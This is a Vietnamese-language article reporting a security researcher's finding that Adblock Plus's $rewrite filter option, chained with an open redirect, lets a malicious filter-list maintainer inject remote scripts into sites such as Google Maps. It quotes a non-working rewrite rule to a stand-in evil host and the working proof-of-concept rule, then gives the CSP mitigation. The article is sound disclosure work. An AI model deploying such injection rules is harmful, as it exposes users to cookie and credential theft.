Bộ lọc Adblock Plus phát hiện và ngăn chặn mã độc hại

Đáng nói là những công cụ chặn quảng cáo này hiện đang sở hữu số lượng người dùng lên đến hơn 10 triệu trên toàn thế giới. Do đó, nếu các tập lệnh độc hại lây nhiễm vào hệ thống thông qua cách này, tác hại gây ra sẽ rất lớn bởi chúng có thể thực hiện các hoạt động không mong muốn như ăn cắp cookie, thông tin đăng nhập, gây chuyển hướng trang hoặc nhiều hành vi xâm phạm dữ liệu và quyền riêng tư khác.

Tùy chọn bộ lọc $rewrite

Để hiểu rõ vấn đề, trước tiên chúng ta cần phải nói qua một chút về cách thức hoạt động của trình chặn quảng cáo. Các phần mềm này thường hoạt động dựa trên danh sách những URL có liên quan đến quảng cáo và hành vi độc hại, thường được duy trì bởi một nhóm nhỏ hoặc thậm chí chỉ một người. Khi các danh sách này được tải bởi tiện ích mở rộng chặn quảng cáo, như Adblock Plus chẳng hạn, tiện ích mở rộng đó sẽ có nhiệm vụ ngăn trình duyệt kết nối với các URL được liệt kê và do đó, những nội dung quảng cáo hoặc tập lệnh độc hại sẽ không thể xuất hiện như bình thường trên trang web mà bạn truy cập.

Ví dụ: Bên dưới là danh sách bộ lọc chặn quảng cáo phổ biến có tên EasyList

Khi Adblocker Plus 3.2 được phát hành vào năm 2018, đã có một tùy chọn danh sách bộ lọc mới được nhà phát triển tung ra, đó là $rewrite. Điểm mới của $rewrite nằm ở chỗ nó có thể cho phép thay thế một yêu cầu web khớp với biểu thức chính quy cụ thể bằng một URL khác.

Điểm cần lưu ý duy nhất ở đây là việc chuỗi thay thế phải là một URL tương đối (relative URL), có nghĩa là chuỗi này không có chứa tên máy chủ và khi được viết lại phải ở cùng một miền gốc với yêu cầu ban đầu.

Ví dụ: quy tắc bộ lọc sau đây sẽ khiến tất cả các yêu cầu cho example.com/ad.gif được thay thế bằng example.com/puppies.gif. Vì vậy, thay vì quảng cáo được hiển thị trên một trang, bạn sẽ thấy hình ảnh dễ thương của những chú chó con.

||example.com/ad.gif$rewrite=/puppies.gif

Mặt khác, vì URL được viết lại phải có cùng nguồn gốc với URL gốc và phải là một URL tương đối, quy tắc viết lại $ sau đây sẽ không hoạt động.

||example.com/ads.js$rewrite=https://evilsite.tk/bwahaha.js

Quy tắc $rewrite dưới đây sẽ không hoạt động đối với các yêu cầu thuộc loại SCRIPT, SUBDOCUMENT, OBOG và OBJECT_SUBREQUEST. Có thể thấy rằng nếu một tập lệnh độc hại muốn ở trên cùng một trang, chúng phải được viết lại thành một URL tương đối và không thể được tải thông qua thẻ tập lệnh, vậy thì làm thế nào một người duy trì danh sách (list maintainer) có thể phát hiện tập lệnh độc hại đó?

Phát hiện $rewrite bằng cách xâu chuỗi với các yêu cầu chuyển hướng dịch vụ web

Theo phân tích của nhà nghiên cứu bảo mật Armin Sebastian thì trong một số điều kiện nhất định, người duy trì bộ lọc chặn quảng cáo giả mạo hoàn toàn có thể tạo ra một quy tắc đưa tập lệnh từ xa vào một trang web cụ thể.

Để làm được điều này, đầu tiên bạn sẽ cần tìm một trang web cho phép các tập lệnh tải từ bất kỳ tên miền nào, đồng thời chứa một chuyển hướng mở và sử dụng XMLHttpRequest hoặc Fetch để tải xuống các tập lệnh sẽ được thực thi. Trang web dạng này trên thực tế không quá khó tìm, Sebastian đã sử dụng Google Maps cho Proof of Concept của mình.

Các tiêu chí sau phải được đáp ứng để dịch vụ web có thể khai thác được bằng phương pháp này:

1. Trang web phải  load được một chuỗi JS bằng cách sử dụng XMLHttpRequest hoặc Fetch và thực thi mã trả về.
2. Trang web không hạn chế về nguồn gốc tìm nạp bằng cách sử dụng các chỉ thị Content Security Policy, hoặc không được tự động xác thực yêu cầu URL cuối cùng trước khi thực thi mã đã tải xuống.
3. Nguồn gốc của mã được tìm nạp phải sở hữu chuyển hướng mở phía máy chủ, hoặc mã phải lưu trữ nội dung người dùng tùy chọn.

Để giải quyết vấn đề đó là việc sử dụng XMLHttpRequest hoặc Fetch tải xuống các tập lệnh và chuyển hướng mở.

Điều này là do khi sử dụng tùy chọn $rewrite, những yêu cầu sử dụng XMLHttpRequest hoặc Fetch để tải xuống các tập lệnh thực thi từ xa sẽ được đảm bảo khả năng thành công rất cao. Hơn nữa, chuyển hướng mở cũng đóng vai trò quan trọng không kém vì nó cho phép đọc tập lệnh của XMLHttpRequest từ một trang web từ xa, trong khi vẫn xuất hiện từ cùng một nguồn gốc.

Ví dụ: Nhà nghiên cứu Sebastian đã dùng Google Maps bởi công cụ này sử dụng XMLHttpRequest để tải tập lệnh, và đồng thời bởi google.com có sở hữu chuyển hướng mở như một phần của trang kết quả tìm kiếm. Điều này cho phép ông tiến hành xâu chuỗi với nhau bằng cách sử dụng tùy chọn bộ lọc $rewrite cùng với chuyển hướng mở để đọc một tập lệnh từ xa như dưới đây.

/^https://www.google.com/maps/_/js/k=.*/m=pw/.*/rs=.*/$rewrite=/search?hl=en-US&source=hp&biw=&bih=&q=majestic-ramsons.herokuapp.com&btnI=I'm Feeling Lucky&gbv=1

Với quy tắc trên, khi bạn truy cập www.google.com.vn/maps/, quy tắc bộ lọc sẽ sử dụng chuyển hướng mở của Google để đọc nội dung từ https://majests-ramsons.herokuapp.com/.

Vì URL chuyển hướng mở có cùng nguồn gốc hoặc tên miền, do đó các chuỗi sẽ được phép đọc và thực thi dưới dạng JavaScript, điều này sẽ khiến cảnh báo được hiển thị như được thấy ở hình minh họa bên dưới.

Armin Sebastian đã báo cáo vấn đề này với Google, nhưng lập trường của công ty Mountain View luôn cho rằng chuyển hướng mở là "Intended Behavior" (hành vi có chủ đích).

Để giảm thiểu hành vi theo chuỗi liên kết này, Sebastian khuyên các trang web nên sử dụng Content Security Policy và tùy chọn connect-src để chỉ định danh sách trắng các trang web có thể tải tập lệnh.